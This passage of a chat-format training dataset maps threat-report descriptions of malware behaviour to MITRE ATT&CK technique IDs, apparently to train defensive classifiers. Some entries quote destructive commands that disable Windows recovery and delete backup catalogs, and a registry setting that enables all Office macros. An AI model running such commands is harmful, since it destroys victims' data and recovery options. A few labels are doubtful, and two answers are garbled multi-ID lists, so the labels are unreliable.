                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nefilim also uses bcdedit.exe twice to disable automatic Windows recovery features by modifying boot configuration data. bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures Moreover, the Nefilim ransomware uses wbadmin to delete the backup catalog: wbadmin delete catalog -quiet"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decryption, these 34 commands are plain text with parameters that are space delimited much like a command line"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use MSHTA to serve additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has a command built in to use a raw TCP socket."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY uploads data in 2048-byte chunks."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used process hollowing in iexplore.exe to load the  implant."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains a list of running processes on the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FormBook authors did some rewrites on the original exploit, taking as their initial codebase the one that we and Microsoft observed as deploying Cobalt Strike beacons.  The exploited vulnerability is CVE-2021-40444. However, since the vulnerability itself has been analyzed already, here we focus on describing some of the unique changes made by FormBook."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can downloaded payloads from C2 to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use a file exfiltration tool to collect recently changed files with specific extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 has functionality to copy itself to removable media."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Winnti for Windows dropper can place malicious payloads on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedGrace encrypts its C2 configuration files with AES in CBC mode."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy can capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet has the ability to change firewall settings to allow a plug-in to be downloaded."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linfo creates a backdoor through which remote attackers can retrieve system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses AES to encrypt certain information sent over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT uses Base64 encoding for C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following network activity observed from msiexec.exe illustrates how the malware leveraged a signed and verified certification from Sectigo RSA Code Signing CA to propagate"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell is injected into a shared SVCHOST process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax has written AES-encrypted and Base64-encoded configuration files to disk."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can enumerate the hostname, domain, and IP of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dropped and executed tools used for password cracking, including Hydra."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT can use `cmd.exe` to execute commands on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a feature to create local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PowerShell script employs several layers of obfuscation to hide its actual functionality. In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle can decrypt its payload using RC4, AES, or one-byte XORing."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  malware supports timestomping."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can load and call DLL functions."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first thread is responsible for taking a screenshot of the desktop of the victim machine. This screenshot data is both compressed and encrypted using a single-byte xor key of 0x5F. This data is written to one of the following files"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the time of discovery TEARDROP was a novel concoction: never-before-seen, possibly even tailor-made for this attack. TEARDROP runs in-memory but it does register a Windows service, which involves editing the registry"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore can execute JavaScript by injecting it into the victim's browser."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As a Windows Management Instrumentation (WMI) client application, it initializes COM and connects to the \\\\root\\cimv2 namespace to use the IWbemServices pointer and make WMI requests. The code executes wql queries (“wql” is “sql for wmi”, a subset of sql) to gather victim host details, like the query “SELECT Description, Manufacturer, Name, ProcessorId FROM Win32_Processor”. Here are several queries from the BlackEnergy2 plugin code"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The discovery modules used with  can collect information on process details."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can delete folders and files including overwriting its executable with legitimate programs."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can clear the browser history on a compromised host by changing the `ClearBrowsingHistoryOnExit` value to 1 in the `HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Privacy` Registry key."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nltest may be used to enumerate trusted domains by using commands such as \"nltest /domain_trusts\"."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At this time, Janicab is not detected by most anti-virus software, and it slips right past the built-in defenses of Mac OS X in the hands of an unobservant or unsavvy user. Further, seeing other malware using a signed app is troubling, as it may indicate that Gatekeeper will not offer as much security as had been hoped for"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon executes functions using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Get Microsoft Version Number from the registry, specifically from reg key/value: HKEY_CLASSES_ROOT\\Excel.Application\\CurVer||Default. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\\Software\\Microsoft\\Office\\&lt;OfficeVersionNumber&gt;.0\\Word\\Security\\VBAWarnings = 0x1"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can query \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\<Excel Version>\\Excel\\Security\\AccessVBOM\\\"  to determine if the security setting for restricting default programmatic access is enabled."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa used \"cmd.exe\" for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepySnail can connect to C2 for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has been observed to query the registry key \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\" and the value \"InstallLanguage\". If the machine has the value 0x419 (Russian), 0x422 (Ukrainian), or 0x423 (Belarusian), it stops execution."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TClient will use SSL to connect to Tropic Trooper’s C&amp;C server. This allows Tropic Trooper’s operators to easily change/update the C&amp;C server and configure other values"
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca used Base64 to encode strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mori can resolve networking APIs from strings that are ADD-encrypted."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used legitimate applications to side-load malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak C2 traffic returns data as encoded ASCII text that is decoded on the victim host and saved as malware items like script files, EXE used during the infection and data for registry updates for the Valak infection"
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes', 'T1132.001 - Data Encoding: Standard Encoding', 'T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic is encrypted using bitwise NOT and XOR operations."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hancitor has relied upon users clicking on a malicious link delivered through phishing."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DDKONG downloads and uploads files on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The downloaded Stage3 is written in C# as in Stage2, and an obfuscation tool called Eazfuscator is detected by exeinfoPE"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling has the ability to capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The TrickBot module used for credential harvesting is pwgrab64. As with all modules launched by the TrickBot core, pwgrab64 is installed into a subfolder, usually named either “modules” or “data,” and modified the following registry value"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. Aside from that, startup is performed by loading Cobalt Strike into the main memory without saving to the file system. Bypassing network security Cobalt Strike allows users to install two types of modules: HTTP/HTTPS/DNS modules and SMB modules. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. To prevent this threat, the company should configure filter rules to detect the above-mentioned tools on the corporate network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA uses WMI to perform process monitoring."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file /tmp/.rOuYXzdOF was most likely used as a mutex, ensuring only one copy of Netwire could run at a time. Next, .default.conf was a configuration file storing data required for Netwire to communicate with command and control. On the Windows side, this is usually stored in the Registry"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to discover local NetBIOS domain names."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After uploading these files, take advantage of the pre-built queries within BloodHound. Queries include: viewing all domain administrators; viewing users with the most local administrator rights; or viewing computers with the most administrative user access. One of these queries gives you the ability to map domain trusts, as shown in Figure 3"
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used a Visual Basic script that checked for internet connectivity."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has infected victim machines through compromised websites and exploit kits."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the same time, Enc.exe will start the encryption routine and append “. jcry ” as file extension to the encrypted file."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1041 - Exfiltration Over C2 Channel', 'T1071 - Application Layer Protocol', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KEYMARBLE can execute shell commands using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's Blowfish key is encrypted with a public RSA key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can obtain a list of processes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can inject into the `svchost.exe` process for execution."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
